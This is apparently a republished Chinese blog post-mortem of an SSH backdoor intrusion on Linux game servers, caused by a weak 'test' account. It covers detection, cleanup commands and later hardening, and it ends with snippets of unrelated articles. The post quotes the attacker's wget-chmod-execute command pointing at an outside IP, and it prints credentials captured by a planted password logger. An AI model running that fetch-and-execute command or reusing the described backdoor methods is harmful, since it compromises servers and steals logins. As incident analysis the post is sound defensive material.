裸奔的后果!一次ssh被篡改的入侵事件

通常服务器安全问题在规模较小的公司常常被忽略,没有负责安全的专员,尤其是游戏行业,因为其普遍架构决定了游戏服通常都是内网进行数据交互,一般端口不对外开放,也因此对安全问题不过于重视。接下来要说的,这是我人生第一次在Linux环境中被入侵的经历,此前只有在Windows Server上有过多次入侵排查的经验,不适用于Linux环境中,由于自己的经验缺乏以及安全意识的薄弱,从而没有及时对已被侵入的服务器做隔离处理,导致扩散到较多的服务器,在此断指三根以示悔恨,哈哈,开玩笑的,在此总结下入侵排查过程以及后续事宜

一、事件回顾

这次的服务器被入侵是一个典型的弱密码导致的入侵事件,由于某人员的疏忽,在某台服务器上新建了test用户,且使用同名的弱密码,以便于调试工作所需的脚本工具,就在当天在做脚本调试的时候发现了某些异常的错误,使用root用户无法ssh远程登陆其他服务器,同时scp命令出现异常无法使用,但其他服务器可以使用scp将文件拷贝到该服务器,之后将问题反馈给运维人员,由我们运维进行排查。

二、排查过程

收到问题反馈,主要涉及ssh相关的问题后,我们运维对该服务器进行排查,发现使用ssh -v中的openssl版本无法显示,且输出的帮助信息与其他服务器不一致,然后查看ssh配置,发现配置文件(ssh_config和sshd_config)文件已更新,其内容被全部注释,这时还没有意识到被入侵,悲哀+1,起初以为同事对该服务器做了升级了ssh版本,后来确认无升级之类的操作。

1、查看ssh版本及相关信息,openssl的版本显示异常,与其他服务器对比,帮助信息显示方式有所不同

2、查看ssh进程及其相关文件,ssh和sshd进程文件已更新,ssh_config和sshd_config配置文件已更新,配置文件内容全部注释,ssh_host_key和ssh_host_key.pub为新增的文件,其他服务器没有这两个文件

3、继续排查,将一台正确的配置文件覆盖至该服务器,重启ssh服务后,使用ssh命令发现无法识别该配置文件中的参数(到这里其实应该发现ssh进程文件已被篡改,使用md5sum做比对即可)

4、由于其他工作事务需要及时处理,排查这个事情就被搁置了,直至之后的YY讨论问题拿出来询问了下大神,才意识到有被入侵的可能

5、询问操作过该服务器的同事,此前正在调试脚本工具,新增了test用户,得知其密码为test

$ cat /etc/passwd | grep test
test:x:1005:1005::/home/test:/bin/bash

6、进行深入排查,使用chkrootkit -q查看Linux系统是否存在后门,发现有异常。协同之前操作test用户的同事,查找history命令记录,发现一条可疑命令

$ su - test
$ history
   50  wget http://71.39.255.125/~ake/perf;chmod +x perf; ./perf       # 非同事操作的可疑命令,在虚拟机上测试,发现可以无需命令即可获得root权限
$ w                          # 无法查看到当前登录用户(请忽略我跳跃的思维)
$ cat /usr/include/netda.h   # 找到一个用户登录就记录其密码的文件(某大神找到的)
+user: bin +password: worlddomination
+user: test +password: [email protected]#$ds

7、在另外一台服务器上,发现某账号家目录下有个dead.letter文件,用于将获取到的信息(系统信息、IP地址、账号密码等)发送至指定的邮箱

8、又在另外一台服务器上部署了一套可疑的程序,估计是作为肉鸡功能

$ sudo crontab -e
* * * * * /usr/include/statistics/update >/dev/null 2>&1            
# 原有的cron任务已被清空,仅有该条可疑任务

9、找到/usr/include/statistics为主程序的目录,其中update为主程序,通过autorun脚本进行部署,执行crond伪装成crond服务,使原crond服务隐藏且无法启动,将cron覆盖至原有crontab文件来每分钟执行update二进制程序,mech.pid记录伪装的crond程序的PID

三、清理工作

1、紧急修复清理

将准备好的正常的ssh相关文件上传至被入侵服务器的/tmp目录下

1)查看并修改属性

$ sudo lsattr /usr/bin/ssh
-u--ia-------e- /usr/bin/ssh
$ sudo chattr  -ia /usr/bin/ssh        # 修改属性以保证文件可被覆盖
$ sudo lsattr /usr/sbin/sshd
-u-----------e- /usr/sbin/sshd

2)恢复ssh和sshd

$ sudo cp /tmp/ssh /usr/bin/         # 将ssh进程文件覆盖恢复
$ sudo cp /tmp/*_config /etc/ssh/    # 将配置文件覆盖恢复
$ sudo rm /etc/ssh/ssh_host_key*    # 删除新增的可疑文件
$ sudo crontab -e                   # sshd无法覆盖,使用cron方式解决
30 3 * * * pkill -9 sshd; cp /tmp/sshd /usr/sbin/; /etc/init.d/ssh restart

3)删除多余的文件以及恢复crond

$ sudo rm /usr/include/netda.h
$ sudo kill -9 $(cat /usr/include/statistics/mech.pid)
$ [ -d /usr/include/statistics ] && sudo rm /usr/include/statistics
$ sudo /etc/init.d/cron restart

2、后续安全工作

1)修改所有涉及的服务器的账户密码,之后其他使用同类密码的服务器也需改掉

2)配置防火墙策略,只允许公司外网IP可ssh访问服务器

3)对于被入侵过的服务器系统后期逐步重做系统,避免存在未清理的后门

写在最后:

此次的遭受攻击,问题主要是运维安全意识较差,以及防火墙策略比较松散,为了便于远程工作,像ssh端口未做限制,服务器几乎是裸奔的状态。经过此番折腾,也对服务器安全方面做了一次警示,需加强防御工作,同时也了解到典型的ssh后门功能:其一是超级密码隐身登陆;其二是记录登陆的账号密码。后续还需制定一系列入侵检测机制,以防再次出现入侵事故。

时间: 2024-10-25 15:44:34

裸奔的后果!一次ssh被篡改的入侵事件的相关文章

(转)裸奔的后果!一次ssh被篡改的入侵事件

裸奔的后果!一次ssh被篡改的入侵事件 原文:http://blog.51cto.com/phenixikki/1546669 通常服务器安全问题在规模较小的公司常常被忽略,没有负责安全的专员,尤其是游戏行业,因为其普遍架构决定了游戏服通常都是内网进行数据交互,一般端口不对外开放,也因此对安全问题不过于重视.接下来要说的,这是我人生第一次在Linux环境中被入侵的经历,此前只有在Windows Server上有过多次入侵排查的经验,不适用于Linux环境中,由于自己的经验缺乏以及安全意识的薄弱,

为什么要让我们的“领域模型”裸奔?

做不完的应用软件 我爸是个乡村小学教师,对我所从事的软件行业一无所知,但是他对我的工作稳定性表示怀疑:“你这做软件的,要是有一天软件做完了,你岂不是要失 业了?”也许他想起了他作为老师的情况,教完一批学生,下一批又上来了,一茬一茬的.于是又问我:“你们是不是一个软件接着一个软件做?”我回答他:“不 是,就一个软件,好几十个人得做好几年呢.”解释了很多次仍旧没有消除他的疑问:“你们做软件怎么会一直做下去?怎么没有个做完的时候呢?”. 如果他在通往张江的地铁上,知道有那么多我伤不起的IT同类们,他也

在知识管死的道路上裸奔

   T公司做CPC已经7年了,号称是囊括了PDM.KM.CPC(产品协同商务)的CPC产品,进去用过后发现不过是鸡肋,里面似乎PDM.KM.CPC啥都有点,但却又啥都不像不地道.暂且先说说知识管理吧,不过是一个类VSS的文件夹管理软件加上文件夹的权限管理即可号称知识管理来招摇撞骗,其结果是不明就里的T公司据说陷在知识的海洋里了,不能搜索.不能识别知识.不能为员工所用,结果全民皆兵的"建档伟业"从文档创建的那一刻起,这份知识就注定寿终正寝了!公司S总戏称为白菜萝卜都可进的图书馆! 所以

作个有安全感的应用,告别裸奔

自个对架构比较感兴趣.闲暇时间学习学习相关姿势,也涨涨姿势. 算是自娱自乐也算是实践吧!把自己平时用的小功能做了个系统都算不上的小应用吧! 一开始通过账号密码验证,然后加上了,mac地址验证还是觉得不够安全,最近把数字证书的功能也加上了,感觉小有有点安全感,不再裸奔了.可以跟大家分享分享. 1.浅说架构 这样一个拓扑图,大家首先想到的是bs的网站吧!其实我们今天说的cs架构的小应用. 使用wcf支撑的soa架构: 为什么用wcf呢?首先wcf简单上手快,然后wcf我可以通过简单的配置实现用htt

#IT互联网财经时事半月谈,微信的裸奔时代#

八月来临,先立秋再降温,让落叶带走最后一丝炎热.在这阵阵凉意的半个月内,IT互联网上的一些事情也让人黯然神伤:苹果10余种产品无缘中国政府采购名单,no zuo no die:动感地带安然死去,让人扼腕叹息:充电宝质检100%挂掉,等待重生:至于说,微信十条的出台,更像是监管部门向社交工具的一次阉割,唯一让人感觉欢乐的事儿,或许只是相声演员要做手机了. #骄傲苹果,不屑中国政府采购清单#本月初,有关部门披露的采购清单中,剔除了iPad.iPad Mini.MacBoor Air等10款苹果产品,

单片机裸奔框架1

侃侃单片机的裸奔程序的框架!以下是我总结的一些东西,不合乎之处来请大家指点呀,本人第二次在21ic发帖,希望大家鼓励鼓励呀!! 从07年参加全国大学生电子设计大赛初次接触单片机开发至今已经有4年了,初学单片机时,都会纠结于其各个模块功能的应用,如串口(232,485)对各种功能IC的控制,电机控制PWM,中断应用,定时器应用,人机界面应用,CAN总线等. 这是一个学习过程中必需的阶段,是基本功.很庆幸,在参加电子设计大赛赛前培训时,MCU周围的控制都训练的很扎实.经过这个阶段后,后来接触不同的M

互联网创业一定要知道网络运维,不然就是在“裸奔”

      出任ceo, 迎娶白富美,走上人生巅峰,2016年双创周的来临让整个中国乃至世界又刮起一阵轰轰烈烈的创业盛火,让无数心怀知识与梦想的人心潮澎湃.当然,创业并非易举,总要有些事情提前做好准备,防范一着不慎,满盘皆输的局面出现.例如互联网创业,不懂网络运维其实就等于在"裸奔". 网络运维有风险 网络运维是一个长期.系统的工程,产品的设计和研发可能两年就能完成,而之后系统保证系统的正常运行,直到产品生命周期结束,都需要网络运维.如果网络运维出现问题,轻可导致小的安全事件,重也可能

网络时代,我们的隐私早已裸奔

网上约车.购物.叫外卖……从早上一睁眼到晚上睡觉,“手机控”张静几乎每时每刻都享受着手机App带来的便利,在她看来,没有手机的生活已不能想象.但在2016中国大数据产业峰会上,中国互联网协会理事长邬贺铨的一场主题演讲,把张静讲“懵了”. 只要你的手机里安装了百度.高德等导航软件,无论你在哪里我们都能很快通过手机里App提供的数据找到你.在邬贺铨看来,名字可以造假.身份信息也可以造假,但位置信息是无论如何都掩盖不了的. “App本身跟位置并没有太多的关系,可是App会强行搜索你的位置信息,而你的位

网络安全专家提醒裸奔路由的风险

如今互联网已经成为大家日常工作生活中不可缺少的部分,而作为信息的中继站,路由器承担着非常繁重的数据处理任务,小到在住宅中几个人或几台设备使用一个网络,大到公司里几十号上百人共用一个网络.可以说,上网体验的好坏,很大程度上是由路由器决定的. 然而,对于普通网民来说,随手购买的路由器,带来的不仅有便捷,可能还有巨大的安全隐患……日前,国家互联网应急中心发布的“2013互联网网络安全报告”就指出,D-LINK.Cisco等路由器有“后门”,利用这些后门漏洞,黑客可以直接控制用户的路由器,威胁用户的个人